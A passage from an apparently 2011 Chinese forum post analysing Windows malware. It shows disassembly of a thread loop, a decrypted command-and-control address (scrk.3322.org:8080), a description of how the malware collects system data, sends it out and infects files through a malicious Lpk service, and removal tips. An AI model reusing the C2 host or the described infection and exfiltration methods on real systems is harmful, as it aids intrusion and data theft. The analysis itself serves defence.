  36. .text:0040283E                 mov     edi, ds:WaitForSingleObject
  37. .text:00402844                 mov     ebx, ds:CloseHandle
  38. .text:0040284A                 mov     ebp, closesocket
  39. .text:00402850 ; 28:     hObject = CreateThraed((LPTHREAD_START_ROUTINE)bAdApple, 0);我对臭苹
  40. 果的怨念是世界级的……
  41. .text:00402850
  42. .text:00402850 loc_402850:                             ; CODE XREF: sub_402730+159j
  43. .text:00402850                 push    0               ; lpParameter
  44. .text:00402852                 push    offset bAdApple ; lpStartAddress
  45. .text:00402857                 call    CreateThraed
  46. .text:0040285C ; 29:     WaitForSingleObject(hObject, 0xFFFFFFFFu);
  47. .text:0040285C                 push    0FFFFFFFFh      ; dwMilliseconds
  48. .text:0040285E ; 26:   while ( 1 )
  49. .text:0040285E                 push    eax             ; hHandle
  50. .text:0040285F                 mov     hObject, eax
  51. .text:00402864                 call    edi ; WaitForSingleObject
  52. .text:00402866 ; 30:     CloseHandle(hObject);
  53. .text:00402866                 mov     ecx, hObject
  54. .text:0040286C                 push    ecx             ; hObject
  55. .text:0040286D                 call    ebx ; CloseHandle
  56. .text:0040286F ; 31:     closesocket(s);
  57. .text:0040286F                 mov     edx, s
  58. .text:00402875                 push    edx             ; s
  59. .text:00402876                 call    ebp ; closesocket
  60. .text:00402878 ; 33:     Sleep(0x12Cu);
  61. .text:00402878                 push    12Ch            ; dwMilliseconds
  62. .text:0040287D ; 32:     dword_408634 = 1;
  63. .text:0040287D                 mov     dword_408634, 1
  64. .text:00402887                 call    esi ; Sleep
  65. .text:00402889                 jmp     short loc_402850
复制代码得到这么个好东西、scrk.3322.org:8080
然后就是CreateThread干坏事
坏事回调函数
004019C0   .  81EC C4090000 sub     esp, 9C4
此部分比较长了、而且不大会分析、各位有兴趣可以去看我上传的idb
然后是一系列获取计算机基本信息、然后寄送到上面解密出来的地址……装载肮脏的Lpk进行感染……

至此全病毒感染模块分析完毕……因为本人是网络白痴、就算见到了网络操作代码也不知道到底是干什么的
……囧虚……
此病毒就是启动一个服务、坏事都在服务里做,因为本人也没搞过服务程序开发、所以也不知道这块怎么分
析、不过零散的分析大概已经把服务要做的事情都分析出来了……
删除病毒时首先停止病毒服务、然后用XueTr删除病毒服务、并且来到System32下找到最新更改的exe、大概
就是那个了、建议用工具删除、因为这个东西连压缩文件都感染了、手工处理不大方便、当然也可以写个工
具……
- -讨厌这种用技术干坏事的、鄙视下病毒作者、还真是无聊啊……这种猫和老鼠的游戏大概永远都不会结
束吧……
其实说句实话今天分析这个病毒是因为中午帮同学修电脑修坏了……、发泄下、……真是Bug啊……又把别
人的Bootmgr压缩了……- -刚才已经解决完毕了……所以我也没有必要继续寂寞下去了……娱乐去了、各位
晚安。

游戏CG x1附赠
Azure[LCG]
2011.02.06